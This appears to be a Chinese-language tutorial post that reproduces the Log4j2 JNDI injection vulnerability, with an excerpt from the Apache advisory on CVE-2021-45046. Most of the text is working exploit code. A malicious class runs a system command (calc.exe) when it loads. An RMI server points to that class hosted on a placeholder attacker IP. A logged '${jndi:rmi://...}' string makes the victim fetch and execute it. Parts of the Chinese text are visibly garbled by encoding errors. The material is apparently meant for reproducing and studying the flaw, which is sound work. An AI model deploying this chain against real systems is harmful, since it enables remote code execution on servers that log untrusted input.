Stringsource="${jndi:rmi://黑客IP:1099/test}";
logger.error(source);

Apache Log4j 2 Apache Log4j 2 is an upgrade to Log4j that provides significant improvements over its predecessor, Log4j 1.x, and provides many of the improvements available in Logback while fixing some inherent problems in Logback’s architecture.   Important: Security Vulnerability CVE-2021-45046 The Log4j team has been made aware of a security vulnerability, CVE-2021-45046, that has been addressed in Log4j 2.12.2 for Java 7 and 2.16.0 for Java 8 and up.  Summary: Apache Log4j2 Thread Context Message Pattern and Context Lookup Pattern vulnerable to a denial of service attack.  Details It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack. Log4j 2.15.0 restricts JNDI LDAP lookups to localhost by default.  Note that previous mitigations involving configuration such as setting the system property log4j2.noFormatMsgLookup to true do NOT mitigate this specific vulnerability.

//step1:在黑客機(jī)新建HackerObj.java 

import javax.lang.model.element.Name;
import javax.naming.Context;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.HashMap;

/**
 * @Author: hanko
 * @Date: 2021-12-16 10:12
 */
public class HackerObj {
    public static void exec(String cmd) throws IOException {
        String sb = "";
        BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null) {
            sb += lineStr + "\n";

        }
        inBr.close();
        inBr.close();
    }

    public Object getObjectInstance(Object obj, Name name,
         Context context, HashMap<?, ?> environment) throws Exception {
        return null;
    }

    static {
        try {
            System.out.println("黑客程序在此機(jī)器被執(zhí)行了。");
            exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

//step2:在黑客機(jī)把HackerObj.java編譯成HackerObj.class，然后開個nginx把HackerObj.class放進(jìn)去讓它可以在網(wǎng)絡(luò)上訪問，如: http://黑客ip:8080/HackerObj.class

p.s. HackerObj.java創(chuàng)造時不要放在package里，放package里好像被用戶下載會提示notfindclass，有空再研究一下。

//step3: 創(chuàng)建個Server.java啟動黑客rmi服務(wù)

package com.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
 * @Author: hanko
 * @Date: 2021-12-16 9:18
 */
public class Server {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        //http://黑客ip:8080/HackerObj.class
        String url = "http://黑客ip:8080/"; 
        System.out.println("Create RMI registry on port 1099");
        Reference reference = new Reference("HackerObj", "HackerObj", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("test", referenceWrapper);
    }
}


//stpe4:在用戶機(jī)新建Client.java，

package com.jndi;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * @Author: hanko
 * @Date: 2021-12-16 10:27
 */
public class Client {
    static Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        logger.error("${jndi:rmi://黑客ip:1099/test}");
    }
}


// 在用戶機(jī)執(zhí)行Client.java會發(fā)現(xiàn)“黑客程序在此機(jī)器被執(zhí)行了?！?//在用戶機(jī)器打印出來了，同時用戶機(jī)器計算器工具也被打開了


//step5: log4j2  復(fù)現(xiàn)就是用以下代碼
 logger.info("${java:vm}");
 logger.error("${jndi:rmi://黑客ip:1099/test}");